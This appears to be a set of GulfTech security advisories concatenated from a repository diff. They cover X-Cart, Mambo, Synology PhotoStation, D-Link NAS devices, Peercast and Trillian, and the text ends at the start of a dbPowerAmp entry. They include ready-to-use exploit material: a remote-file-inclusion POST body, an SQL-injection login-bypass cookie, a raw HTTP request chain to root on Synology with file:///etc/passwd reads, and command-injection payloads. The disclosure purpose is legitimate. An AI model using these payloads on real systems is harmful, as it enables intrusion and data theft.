Product: X-Cart
Version: <= 4.1.3
Website: http://www.x-cart.com/
BID: 20108
CVE: CVE-2006-4904
OSVDB: 28957
SECUNIA: 22005
Description:
X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for webmasters to host an online marketplace. Unfortunately an attacker may be able to execute arbitrary php code on an X-Cart installation by overwriting key configuration variables. However, because the vulnerability allows for any variables to be overwritten other attacks such as SQL Injection are probably possible as well. Qualiteam have released an updated version of their X-Cart software, and users are strongly encouraged to upgrade as soon as possible or delete the cmpi.php script that resides within the payments directory.
Arbitrary Variable Overwriting
X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for an attacker to conduct various attacks including arbitrary php code execution. Let's have a look at the vulnerable code in question.
if ($HTTP_POST_VARS) {
foreach ($HTTP_POST_VARS as $var => $value) {
$$var = $value;
}
}
As we can see every single post variable is dynamically evaluated. This is especially dangerous because register globals and magic quotes gpc settings do not affect an attackers ability to overwrite key configuration variables.
stand_alone=0&httpsmod_active=1&orderids=1&close_frame=1&xcart_dir=http://shell
By sending a post request with the above variables set will automatically include an execute a remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php code execution on the underlying web server in most cases.
Solution:
The X-Cart team were very quick and professional in their response to this issue.An updated version of X-Cart has been released and users are encouraged to upgrade as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,49 @@
Mambo SQL Injection
Vendor: Miro International Pty Ltd
Product: Mambo
Version: <= 4.5.4
Website: http://www.mamboserver.com/
BID: 20366
OSVDB: 50002
Description:
Mambo is a popular Open Source Content Management System released under the GNU General Public license (GNU GPL). There are unfortunately some serious flaws in Mambo's login feature that allow for authentication bypass. This can be used to access arbitrary accounts, but even worse can be used to eventually install harmful modules and execute arbitrary php code on the server running Mambo. The Mambo team have committed fixes for these issues to SVN, and patches are available from the official Mambo website. Users are encouraged to patch the vulnerable functionality or update their Mambo installation as soon as possible.
Authentication Bypass
Mambo is vulnerable to an Authentication Bypass issue that is due to an SQL Injection in the login function. The SQL Injection is possible because the $passwd variable is only sanitized when it is not passed as an argument to the function.
function login( $username=null,$passwd=null ) {
global $acl;
$usercookie = mosGetParam( $_COOKIE, 'usercookie', '' );
$sessioncookie = mosGetParam( $_COOKIE, 'sessioncookie', '' );
if (!$username || !$passwd) {
$username = trim( mosGetParam( $_POST, 'username', '' ) );
$passwd = trim( mosGetParam( $_POST, 'passwd', '' ) );
$passwd = md5( $passwd );
$bypost = 1;
}
$remember = trim( mosGetParam( $_POST, 'remember', '' ) );
if (!$username || !$passwd) {
echo "<script> alert(\""._LOGIN_INCOMPLETE."\"); window.history.go(-1); </script>\n";
exit();
} else {
$username = $this->_db->getEscaped($username);
$this->_db->setQuery( "SELECT id, gid, block, usertype"
. "\nFROM #__users"
. "\nWHERE username='$username' AND password='$passwd'"
);
As seen in the above code it is assumed that the $passwd variable is an md5 hash, but when sending a cookie with values like "usercookie[password]=%27 or 1=1/*; usercookie[username]=admin" the query is broken, and the password is never checked correctly. This issue would probably be limited to SQL Injection, but Mambo allows a user to change their password without knowing the original password. They just have to be logged in to the particular account that they want to change the password for. Using this strategy an attacker could login as the admin using the authentication bypass vulnerability, change the admin password, and then successfully log into the admin section where uploading arbitrary php code via the "install module" function.
Solution:
The Mambo development team have committed updates to SVN, and the patches can be obtained by visiting the official mambo website.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,375 @@
Synology Photostation Multiple Vulnerabilities
Vendor: Synology
Product: Synology Photostation
Version: <= 6.7.2-3429
Website: http://www.synology.com
###########################################################################
______ ____________ __
/ ____/_ __/ / __/_ __/__ _____/ /_
/ / __/ / / / / /_ / / / _ \/ ___/ __ \
/ /_/ / /_/ / / __/ / / / __/ /__/ / / /
\____/\__,_/_/_/ /_/ \___/\___/_/ /_/
GulfTech Research and Development
###########################################################################
# Synology PhotoStation <= 6.7.2-3429 Multiple Vulnerabilities #
###########################################################################
Released Date: 2018-01-08
Last Modified: 2017-07-22
Company Info: Synology
Version Info:
Vulnerable
Synology PhotoStation <= 6.7.2-3429
--[ Table of contents
00 - Introduction
00.1 Background
01 - SQL Injection
01.1 - Vulnerable code analysis
01.2 - Remote exploitation
02 - File Disclosure
02.1 - Vulnerable code analysis
02.2 - Remote exploitation
03 - Credit
04 - Proof of concept
05 - Solution
06 - Contact information
--[ 00 - Introduction
The purpose of this article is to detail the research that I have completed
regarding Synology PhotoStation. The issues I have discovered can be used
in conjuction with one another to gain remote preauth root access to the
affected Synology NAS device.
--[ 00.1 - Background
The Synology Diskstation NAS by default installs several DSM applications
unless specified otherwise during setup. One of these default applications
installed is PhotoStation. PhotoStation is a web based photo manager.
--[ 01 - SQL Injection
There are a number of SQL Injection issues within the PhotoStation
application. Since PhotoStation uses a PostgreSQL database exploitation is
trivial since multiple statements can easily be injected.
--[ 01.1 - Vulnerable code analysis
Below is vulnerable code from /photo/include/blog/label.php which takes GPC
data and uses it directly in an SQL query
---------------------------------------------------------------------------
if($_POST['action'] == 'get_all_labels') {
echo SYNOBLOG_LABEL_GetLabelComboData($_POST['id']);
} else if($_POST['action'] == "get_article_label" &&
isset($_POST['article_id'])) {
echo SYNOBLOG_LABEL_GetArticleRawLabel($_POST['article_id']);
} else if($_POST['action'] == "get_invalid_labels") {
echo SYNOBLOG_LABEL_GetInvalidLabels();
}
---------------------------------------------------------------------------
Now let's have a look at any one of these functions.
---------------------------------------------------------------------------
function SYNOBLOG_LABEL_GetArticleRawLabel($article_id)
{
global $blog_str_article_label_none;
$query = "Select label_name from blog_article_label where article_id =
".$article_id." order by label_name;";
$db_result = PHOTO_DB_Query($query);
while(($row = PHOTO_DB_FetchRow($db_result))) {
if($row[0] == "no_label") {
continue;
}
$result[] = $row[0];
}
return json_encode($result);
}
---------------------------------------------------------------------------
As you can see from the above code the SQL injection is fairly straight
forward as $article_id comes directly from the $_POST['article_id']
variable. In addition to this SQL Injection is also an SQL Injection within
the /photo/include/synotheme.php file within the SYNOTHEME_GET_BKG_PIC()
function due to the "type" parameter never being sanitized.
---------------------------------------------------------------------------
function SYNOTHEME_GET_BKG_PIC($mode, $type)
{
$show_bkg_img_key = 'photo' === $type ? 'v6_show_bkg_img' :
'show_bkg_img';
if (null == $show_bkg_img = csSYNOPhotoMisc::GetConfigDB($mode,
$show_bkg_img_key, $type . '_config')) {
csSYNOPhotoMisc::UpdateConfigDB('theme', $show_bkg_img_key, '3',
$type . '_config');
$show_bkg_img = '3';
}
---------------------------------------------------------------------------
In the above code the "type" variable is used to specify the table name
within an SQL query. Unfortunately this "type" parameter is taken directly
from GPC data and never sanitized. No authentication is needed to exploit
either of the previously mentioned SQL Injection vulnerabilities.
--[ 01.2 - Remote exploitation
Exploiting this issue is trivial, and can be achieved by simply sending a
post request containing a SQL Injection string within the "article_id"
parameter.
---------------------------------------------------------------------------
POST /photo/include/blog/label.php HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0)
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://diskstation/blog/
Content-Length: 60
Connection: close
action=get_article_label&article_id=1; SELECT version(); --
---------------------------------------------------------------------------
The above request would successfully return the version of the PostgreSQL
database to the attacker. However, it is also possible to gain a remote
root shell with a decent bit of work by using the following steps.
##[ STEP 00:
First we have to leverage the SQL Injection to enable the PhotoStation
authentication system. By default the PhotoStation application uses DSM to
authenticate. We need to change this so that it uses PhotoStation to
authenticate. This can be accomplished with the following query.
---------------------------------------------------------------------------
UPDATE photo_config SET config_value=0 WHERE config_key='account_system';
---------------------------------------------------------------------------
Now the PhotoStation authentication system should be successfully enabled
and ready for use.
##[ STEP 01:
Once the PhotoStation authentication system is successfully enabled we can
create an admin user and authenticate as this user to escalate our current
privileges from PhotoStation admin to root.
---------------------------------------------------------------------------
INSERT INTO photo_user (userid, username, password, admin) VALUES (42,
'test', '098f6bcd4621d373cade4e832627b4f6', TRUE);
---------------------------------------------------------------------------
We now can login as the admin user "test" with the password "test".
##[ STEP 02:
The next step is to create a "video" record with a malicious "path" value
via SQL Injection. This "path" value holds the location of the file we want
to disclose as the root user. The PhotoStation admin panel is fairly secure
and does not give us many options for exploiting file handling issues.
However, the PhotoStation application trusts the "path" data taken
from the database when copying files, and does not validate it. We can
leverage this lack of sanity checks to copy any files we want as root to
the default photo directory.
---------------------------------------------------------------------------
INSERT INTO video (id, path, title, container_type) VALUES (42,
'/usr/syno/etc/private/session/current.users', 'test', 'test');
---------------------------------------------------------------------------
The above record inserted would allow an attacker to copy the sessions db
to the default photo directory once a file copy operation is triggered by
the album_util.php script. This is because the copy and move operations use
the "path" data taken from the database as the source argument. This file
will be copied with root permissions by the "synphotoio" binary.
##[ STEP 03:
The next step for us is to trigger a file copy operation via album_util.php
where our malicious "path" value will be used by the "synphotoio" binary to
make a copy of the file as root in the default photo directory.
---------------------------------------------------------------------------
POST /photo/include/photo/album_util.php HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-SYNO-TOKEN: ambru48o5nm3kpcla82j1b98s4
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://diskstation/photo/
Content-Length: 45
Cookie: stay_login=1; PHPSESSID=c4kclpg4j3bndcpuq4pvs9of10;
Connection: close
action=copy_items&video_list=42&destination=2f
---------------------------------------------------------------------------
The above request will successfully copy the user sessions database to the
default photo directory. We just have to make sure the "video_list" ID
corresponds to the ID that we previously inserted into the database so that
the "path" data we specified will be used in the file copy operation.
##[ STEP 04:
For the next step we have to be slick and use a file handling bug in the
file_upload.php script to copy the file disclosed by root to the web
directory for viewing. The only reason we are able to accomplish this is
because we're allowed to specify the full URL sent to a file_get_contents()
call. We could also use this bug to read any file that the web server has
access to. But, for now we will just copy the file we recently disclosed as
root since these particular file handling operations take place as an
unprivileged user and would limit the attacker impact greatly.
---------------------------------------------------------------------------
POST /photo/include/file_upload.php?dir=2f2e2e2f4061707073746f72652f50686f7
46f53746174696f6e2f70686f746f2f&name=1/&fname=pwn&sid=ambru48o5nm3 HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: PHPSESSID=ambru48o5nm3; photo_remember_me=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
action=aviary_add&url=file:///volume1/photo/current.users
---------------------------------------------------------------------------
As you can see from the above request we are allow to specify a file:// URL
and as a result copy the disclosed sessions db to the web directory as a
file named pwn.jpg and view all admin sessions. If it was not for this file
handling bug in file_upload.php an attacker would have to access the file
via SMB or some other method thus making the attack much more complicated.
##[ STEP 05:
Once we have the sessions database we now have the session ID and IP
addresses of administrators. We can use this information to now login to
the DSM as an admin. It is possible to use headers such as "Client-IP" to
successfully forge the IP address of the stolen session data. So, the fact
that sessions are restricted by IP address does not really matter at all in
this particular case.
At this point it is game over as DSM admin users are able to run commands
as root and have complete and total access to the entire system.
--[ 02 - File Disclosure
PhotoStation is vulnerable to a file disclosure issue. This issue is due to
an unsafe file_get_contents() call within the SYNOPHOTO_AVIARY_Add()
function that allows an attacker to specify the full URL used.
--[ 01.1 - Vulnerable code analysis
Below is vulnerable code from /photo/include/file_upload.php which makes
use of a user supplied URL to populate the contents of $image_data.
---------------------------------------------------------------------------
$image_data = file_get_contents($_REQUEST['url']);
---------------------------------------------------------------------------
The above code allows authenticated users to easily disclose file contents
with the privilege of the web server, or to possibly conduct SSRF attacks
against the internal network.
--[ 01.2 - Remote exploitation
Exploiting the issue requires user authentication, but other than that it
is fairly trivial to take advantage of. Also, it should be noted that the
required authentication can be acquired by using the previously mentioned
SQL Injection issues in order to create arbitrary user accounts.
---------------------------------------------------------------------------
POST /photo/include/file_upload.php?dir=2f2e2e2f4061707073746f72652f50686f7
46f53746174696f6e2f70686f746f2f&name=1/&fname=pwn&sid=ambru48o5nm3 HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: PHPSESSID=ambru48o5nm3; photo_remember_me=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
action=aviary_add&url=file:///etc/passwd
---------------------------------------------------------------------------
The above request would successfully copy the contents of the passwd file
to http://diskstation/photo/pwn.jpg where it's contents could be viewed by
the attacker.
--[ 03 - Credit
James Bercegay
GulfTech Research and Development
--[ 04 - Proof of concept
We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.
--[ 05 - Solution
These issues were addressed in update 6.7.3-3432
--[ 06 - Contact information
Web
https://gulftech.org/
Mail
security@gulftech.org
Copyright 2018 GulfTech Research and Development. All rights reserved.

View file

@ -0,0 +1,166 @@
D-Link DNS-343 ShareCenter Remote Root
Vendor: D-Link
Product: D-Link DNS-343 ShareCenter
Version: <= 1.05
Website: http://sharecenter.dlink.com/products/DNS-343
###########################################################################
______ ____________ __
/ ____/_ __/ / __/_ __/__ _____/ /_
/ / __/ / / / / /_ / / / _ \/ ___/ __ \
/ /_/ / /_/ / / __/ / / / __/ /__/ / / /
\____/\__,_/_/_/ /_/ \___/\___/_/ /_/
GulfTech Research and Development
###########################################################################
# D-Link DNS-343 ShareCenter <= 1.05 Command Injection #
###########################################################################
Released Date: 2017-01-15
Last Modified: 2017-06-22
Company Info: D-Link
Version Info:
Vulnerable
D-Link DNS-343 ShareCenter <= 1.05
--[ Table of contents
00 - Introduction
00.1 Background
01 - Command Injection
01.1 - Vulnerable code analysis
01.2 - Remote exploitation
02 - Credit
03 - Proof of concept
04 - Solution
05 - Contact information
--[ 00 - Introduction
The purpose of this article is to detail the research that I have recently
completed regarding the D-Link DNS 343 ShareCenter.
--[ 00.1 - Background
The D-Link ShareCenter 4-Bay Network Storage Enclosure (DNS-343) connects
to your network instead of to a computer so everyone on your network can
back up content to one central location. Plus, it lets you share your
stored content across your network and over the Internet so family members,
friends and employees can access it no matter where they are.
--[ 01 - Command Injection
Within the DNS-343 web directory is a folder named "maintenance" that
contains a number of ASP scripts that are related to maintenance tasks that
can be performed. The script by the name of "test_mail.asp" caught my
attention, and that is what we will focus on for now.
--[ 01.1 - Vulnerable code analysis
The DNS-343 utilizes the goAhead web server, which contains a functionality
called goForms, which basically stores CGI in memory. This is important to
know as the previously mentioned "test_mail.asp" posts directly to the
"/goform/Mail_Test" endpoint. Code for this particular goForm can be found
within the "webs" binary.
int __fastcall sub_27D24(int a1)
{
int v1; // r4@1
int *v2; // r10@1
char *v3; // r8@1
char *v4; // r6@1
char *v5; // r5@1
char *v6; // r7@1
int v7; // r12@1
char *v8; // r0@4
char *v10; // [sp+10h] [bp-230h]@1
char *v11; // [sp+14h] [bp-22Ch]@1
char s; // [sp+18h] [bp-228h]@4
v1 = a1;
v2 = &dword_8D968;
v3 = sub_4D340(a1, (int)"f_auth", &byte_7F4B4);
v11 = sub_4D340(v1, (int)"f_username", &byte_7F4B4);
v10 = sub_4D340(v1, (int)"f_password", &byte_7F4B4);
v4 = sub_4D340(v1, (int)"f_smtpserver", &byte_7F4B4);
v5 = sub_4D340(v1, (int)"f_sender", &byte_7F4B4);
v6 = sub_4D340(v1, (int)"f_sendto", &byte_7F4B4);
system("rm /tmp/email_*");
v7 = (unsigned __int8)*v3 - 49;
if ( *v3 == 49 )
v7 = (unsigned __int8)v3[1];
if ( v7 )
{
sprintf(&s, "email -h %s -p 25 -a 0 -s %s -d %s -t", v4, v5, v6);
v2 = &dword_8D968;
v8 = &s;
}
else
{
sprintf(&s, "email -h %s -p 25 -a 1 -u %s -w %s -s %s -d %s -t", v4,
v11, v10, v5, v6);
v8 = &s;
}
*v2 = system(v8);
*v2 = sub_27C80();
return THISISAREDIRECT(v1, "web/maintenance/test_mail_result.asp");
}
As can be seen in the above psuedo code, the form data passed to the goForm
endpoint is never sanitized, and then used directly in a system call. This
can be leveraged by an unauthenticated remote attacker to execute code as
root and take complete control of the device.
--[ 01.2 - Remote exploitation
Exploiting this issue is trivial, and can be achieved by simply sending a
post request containing a command injection string within one of the fields
that are affected to the "/goform/Mail_Test" endpoint. I achieved this by
sending a post request with the following data.
f_smtpserver=;touch /tmp/gulftech;
The above post request successfully creates the file named "gulftech"
within the /tmp directory as the root user.
--[ 02 - Credit
James Bercegay
GulfTech Research and Development
--[ 03 - Proof of concept
We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.
--[ 04 - Solution
D-Link were notified of these issues June of last year. No update has been
released publicly.
--[ 05 - Contact information
Web
https://gulftech.org/
Mail
security@gulftech.org
Copyright 2018 GulfTech Research and Development. All rights reserved.

View file

@ -0,0 +1,369 @@
D-Link DNS-325 ShareCenter Multiple Vulnerabilities
Vendor: D-Link
Product: D-Link DNS-325 ShareCenter
Version: <= 1.05B03
Website: http://sharecenter.dlink.com/products/DNS-325
###########################################################################
______ ____________ __
/ ____/_ __/ / __/_ __/__ _____/ /_
/ / __/ / / / / /_ / / / _ \/ ___/ __ \
/ /_/ / /_/ / / __/ / / / __/ /__/ / / /
\____/\__,_/_/_/ /_/ \___/\___/_/ /_/
GulfTech Research and Development
###########################################################################
# D-Link DNS-325 ShareCenter <= 1.05B03 Multiple Vulnerabilities #
###########################################################################
Released Date: 2017-01-15
Last Modified: 2017-06-22
Company Info: D-Link
Version Info:
Vulnerable
D-Link DNS-325 ShareCenter <= 1.05B03
--[ Table of contents
00 - Introduction
00.1 Background
01 - Unrestricted File Upload
01.1 - Vulnerable code analysis
01.2 - Remote exploitation
02 - Command Injection
02.1 - Vulnerable code analysis
02.2 - Remote exploitation
03 - Credit
04 - Proof of concept
05 - Solution
06 - Contact information
--[ 00 - Introduction
The purpose of this article is to detail the research that I have recently
completed regarding the D-Link DNS 325 ShareCenter.
--[ 00.1 - Background
D-Link Share Center DNS-325 2-Bay Network Storage Enclosure is an easy to
use solution for accessing, sharing and backing up your important data.
--[ 01 - Unrestricted file upload
The DNS-325 is vulnerable to the same file upload issue as the DNS-320L.
The vulnerable code can be found within the following file:
/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php
The root of the problem here is due to the misuse and misunderstanding of
the PHP gethostbyaddr() function used within PHP, by the developer of this
particular piece of code. From the PHP manual this functions return values
are defined as the following for gethostbyaddr():
"Returns the host name on success, the unmodified ip_address on failure, or
FALSE on malformed input."
With a brief overview of the problem, let's have a look
at the offending code in order to get a better understanding of what is
going on with this particular vulnerability.
--[ 01.1 - Vulnerable code analysis
Below is the code from the vulnerable "multi_uploadify.php" script. You can
see that we have annoted the code to explain what is happening.
#BUG 01: Here the attacker controlled "Host" header is used to define the
remote auth server. This is by itself really bad, as an attacker could
easily just specify that the host be the IP address of a server that they
are in control of. But, if we send it an invalid "Host" header it will just
simply return FALSE as defined in the PHP manual.
$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri = $_REQUEST['redirect_uri'];
//echo $name ."
".$pwd."
".$ip;
#BUG 02: At this point, this request should always fail. The $result
variable should now be set to FALSE.
$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));
#BUG 03: Here an empty haystack is searched, and thus strstr() returns a
value of FALSE.
$result_1 = strstr($result,"0");
$result_1 = substr ($result_1, 0,28);
#BUG 04: The strncmp() call here is a strange one. It looks for a specific
login failure. So, it never accounts for when things go wrong or slightly
unexpected. As a result this "if" statement will always be skipped.
if (strncmp ($result_1,"0",28) == 0 )
//if (strstr($result,"0")== 0 )
{
header("HTTP/1.1 302 Found");
header("Location: ".$redirect_uri."?status=0");
exit();
}
#BUG 05: At this point all checks have been passed, and an attacker can use
this issue to upload any file to the server that they want.
The rest of the source code was omitted for the sake of breivity, but it
just handles the file upload logic once the user passes the authentication
checks.
--[ 01.2 - Remote exploitation
Exploiting this issue to gain a remote shell as root is a rather trivial
process. All an attacker has to do is send a post request that contains a
file to upload using the parameter "Filedata[0]", a location for the file
to be upload to which is specified within the "folder" parameter, and of
course a bogus "Host" header.
We have written a Metasploit module to exploit this issue. The module will
use this vulnerability to upload a PHP webshell to the "/var/www/"
directory. Once uploaded, the webshell can be executed by requesting a URI
pointing to the backdoor, and thus triggering the payload.
--[ 02 - Command Injection
There are a number of issues with the CGI's contained within the DNS-325
file structure. The issues that we came across over and over were lack of
authentication, as well as command injection. We will examine one of these
issues, and leave the others as an excercise to the reader.
--[ 02.1 - Vulnerable code analysis
The CGI binary named "photocenter_mgr.cgi" is vulnerable to a very straight
forward command injection issue when calling the "cgi_set_airplay_device"
function.
size_t cgi_set_airplay_device()
{
int v0; // r4@3
size_t v1; // r0@3
const char *v2; // r0@3
FILE *v3; // r5@5
char *v4; // r0@6
int v5; // r4@7
signed int v6; // r6@7
size_t result; // r0@13
FILE *v8; // r4@11
int v9; // [sp+10h] [bp-C84h]@1
int v10; // [sp+410h] [bp-884h]@1
int v11; // [sp+610h] [bp-684h]@1
int v12; // [sp+810h] [bp-484h]@1
char s; // [sp+A10h] [bp-284h]@1
char v14; // [sp+B10h] [bp-184h]@1
char v15; // [sp+B50h] [bp-144h]@1
char v16; // [sp+B90h] [bp-104h]@1
signed int v17; // [sp+B94h] [bp-100h]@2
signed int v18; // [sp+B98h] [bp-FCh]@2
signed int v19; // [sp+B9Ch] [bp-F8h]@2
int v20; // [sp+BA0h] [bp-F4h]@2
__int16 v21; // [sp+BA4h] [bp-F0h]@15
char v22; // [sp+BA6h] [bp-EEh]@15
char v23; // [sp+BD0h] [bp-C4h]@1
char v24; // [sp+C10h] [bp-84h]@1
int v25; // [sp+C50h] [bp-44h]@1
int v26; // [sp+C54h] [bp-40h]@1
char dest[4]; // [sp+C58h] [bp-3Ch]@1
int v28; // [sp+C5Ch] [bp-38h]@1
int v29; // [sp+C60h] [bp-34h]@1
int *v30; // [sp+C64h] [bp-30h]@1
memset(&s, 0, 0x100u);
memset(&v12, 0, 0x200u);
memset(&v24, 0, 0x40u);
memset(&v23, 0, 0x40u);
memset(&v11, 0, 0x200u);
v30 = 0;
memset(&v9, 0, 0x400u);
*(_DWORD *)dest = 0;
v28 = 0;
memset(&v10, 0, 0x200u);
v25 = 0;
v26 = 0;
memset(&v16, 0, 0x40u);
memset(&v15, 0, 0x40u);
memset(&v14, 0, 0x40u);
cgiFormString("dev_name", &s, 256);
cgiFormString("dev_type", &v24, 64);
cgiFormString("dev_pw", &v23, 64);
cgiFormString("type", &v25, 8);
v30 = &v12;
v29 = 512;
printf_out("dev_name=[%s]\n", &s);
printf_out("dev_type=[%s]\n", &v24);
printf_out("dev_pw=[%s]\n", &v23);
printf_out("type=[%s]\n", &v25);
if ( !strcmp((const char *)&v25, "photo") )
{
LOBYTE(v20) = 0;
*(_DWORD *)&v16 = 1886221359;
v17 = 1919508783;
v18 = 2036427888;
v19 = 1819113518;
}
else
{
*(_DWORD *)&v16 = 1886221359;
v17 = 'ria/';
v18 = 2036427888;
v19 = 1685414239;
v20 = 2016309097;
v22 = 0;
v21 = 'lm';
}
v0 = 0;
sprintf((char *)&v11, "rm -f %s", &v16);
system((const char *)&v11);
v1 = strlen(&s);
v2 = (const char *)escape_label(&s, v1, &v30, &v29);
cgi_api_SpecSymbol2BackSlash((char *)&v9, v2);
sprintf((char *)&v11, "airplayer -c connect -d \"%s\" -t \"%s\" %s >/dev/
null", &v9, &v24, &v23);
printf_out("[%s]\n", &v11);
system((const char *)&v11);
printf_out("filename[%s]\n", &v16);
while ( 1 )
{
++v0;
v3 = (FILE *)fopen64(&v16, "r");
if ( v3 )
break;
printf_out("wait[%d]\n");
sleep(1u);
if ( v0 == 30 )
{
v6 = (signed int)v3;
goto LABEL_9;
}
}
fgets(&v15, 512, v3);
fgets(&v15, 512, v3);
fgets(&v15, 512, v3);
fgets(&v14, 512, v3);
v4 = index(&v14, 62);
if ( v4 )
{
v5 = (int)(v4 + 1);
v6 = 1;
*index(v4 + 1, 60) = 0;
strcpy(dest, v4 + 1);
printf_out("res[%s]\n", v5);
}
else
{
v6 = 0;
}
fclose(v3);
LABEL_9:
sprintf(&v16, "/var/www/xml/airplay_info_%s.xml", &v25);
if ( dest[0] == 48 && !dest[1] )
{
v8 = (FILE *)fopen64(&v16, "w+");
fwrite("", 1u, 0x26u, v8);
sprintf(
(char *)&v10,
"%s",
&s,
&v24,
&v23);
fputs((const char *)&v10, v8);
fclose(v8);
}
cgiHeaderContentType("text/xml");
fwrite("", 1u, 0x26u, (FILE *)
cgiOut);
if ( v6 == 1 )
{
result = fprintf((FILE *)cgiOut, "%s",
dest);
}
else
{
system("kill `pidof airplay_daemon`");
result = fwrite("timeout", 1u, 0x25u,
(FILE *)cgiOut);
}
return result;
}
As we can see in the above psuedo code parameters taken from form input are
use directly within a system call without being sanitized. This can be
leveraged by an attacker to execute arbitrary commands as root.
Authentication is not required to exploit this issue.
--[ 02.2 - Remote exploitation
Exploiting this issue is trivial. Authentication is not required to
successfully exploit this issue and gain a remote root shell.
POST /cgi-bin/photocenter_mgr.cgi HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
cmd=cgi_set_airplay_device&dev_type=1";touch /tmp/gulftech;"
Simply sending a post request like the one above will successfully create a
file named "gulftech" in the /tmp directory as root.
--[ 03 - Credit
James Bercegay
GulfTech Research and Development
--[ 04 - Proof of concept
We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.
--[ 05 - Solution
D-Link were notified of these issues June of last year. No update has been
released publicly.
--[ 06 - Contact information
Web
https://gulftech.org/
Mail
security@gulftech.org
Copyright 2018 GulfTech Research and Development. All rights reserved.

View file

@ -0,0 +1,32 @@
Peercast Format String Vulnerability
Vendor: peercast.org
Product: Peercast
Version: <= 0.1211
Website: http://www.peercast.org/
BID: 13808
CVE: CVE-2005-1806
OSVDB: 16906
SECUNIA: 15536
PACKETSTORM: 39355
Description:
Peercast is a popular p2p streaming media server (similar to shoutcast). There is a serious security issue in peercast versions 0.1211 and earlier that may allow for an attacker to execute arbitrary code on the remote target with the privileges of the user running peercast (usually administrator) or crash the vulnerable server. There is an updated version of peercast available and all users should upgrade as soon as possible.
Format String Vulnerability:
There is a very dangerous format string issue in peercast that may allow for an attacker to execute arbitrary code on the remote target with the privileges of the user running peercast or crash the vulnerable server. Below is an example of how this vulnerability can be exploited to crash a vulnerable server.
http://localhost:7144/html/en/index.htm%n
The problem occurs because of the way some error messages are handled. For example in the above example the peercast server receives a malformed request, so the error routine printed the URL, but the error print routine (because it was a printf type function call) then tries to parse the malicious url.
Solution:
Thanks to Giles from Peercast for fixing this issue fast and releasing a patch in just a few hours. Now that is a quick turn around!
http://www.peercast.org/forum/viewtopic.php?p=11596
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,39 @@
Trillian Pro Design Error
Vendor: Cerulean Studios
Product: Trillian Pro
Version: <= 2.01
Website: http://www.ceruleanstudios.com
Description:
Trillian is a multinetwork chat client that currently supports mIRC, AIM, ICQ, MSN, and Yahoo Messenger. It supports docking, multiline edit boxes, buddy alerts, multiple connections to the same medium, a powerful skinning language, easy importing of your existing contacts, skinnable emoticons, logging, global away/invisible features, and a unified contact list. It has a direct connection for AIM, support for user profiles, complete type formatting, buddy icons, proxy support, emotisounds, encrypted instant messaging to ICQ and AIM, AIM group chats, and shell extensions for file transfers.
Problem:
Lets say you use Trillian to connect to Yahoo Instant Messenger. By default Trillian will pop up a window telling you that your Yahoo email account has new mail (if and when it does) If you click the link provided in the window you will notice that first it takes you to a HTML page created on your hard drive, that then sends a requests to Yahoo to log you in. For example:
C:\Program Files\Trillian\users\default\cache\sfd0.html
And if you open up this file in any type of text editor or the like you will clearly see the credentials in plaintext.
<script>
<!--
var username;
username='plaintextusernamehere';
var password;
password='plaintextpasswordhere';
function submit () {
document.getElementById('login').value=username;
document.getElementById('passwd').value=password;
document.getElementById('login_form').submit();
};
//-->
</script>
I have not spent a great deal of time looking into this matter, as it is of little interest to me, but what I have noticed is that this file is not deleted until Trillian is shut down. In the case of abnormal program termination, such as a crash the file may still be there. This file can be accessed by lower level users in most cases, and totally leaves the Yahoo credentials open to theft. This may also be the case with other accounts etc, but like I said I have not looked into it much. Just wanted to make aware of this as a great number of people use Yahoo for money, and business purposes as well as personal use.
Solution:
I contacted Cerulean Studios a week or two ago about this, but I have not heard back from them at all. I would suggest not using this particular feature or shredding the temp file at best after logging in if you REALLY insist on using this feature. But that doesnt stop the credentials from being passed over the network in plaintext ... I imagine the guys at Cerulean Studios get swamped with emails, thus the no reply.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,87 @@
dbPowerAmp Buffer Overflow
Vendor: Illustrate
Product: dbPowerAmp
Version: <= 2.0/10.0
Website: http://www.dbpoweramp.com
BID: 11266
CVE: CVE-2004-1569
OSVDB: 10380 11126 11127
SECUNIA: 12684
PACKETSTORM: 34531
Description:
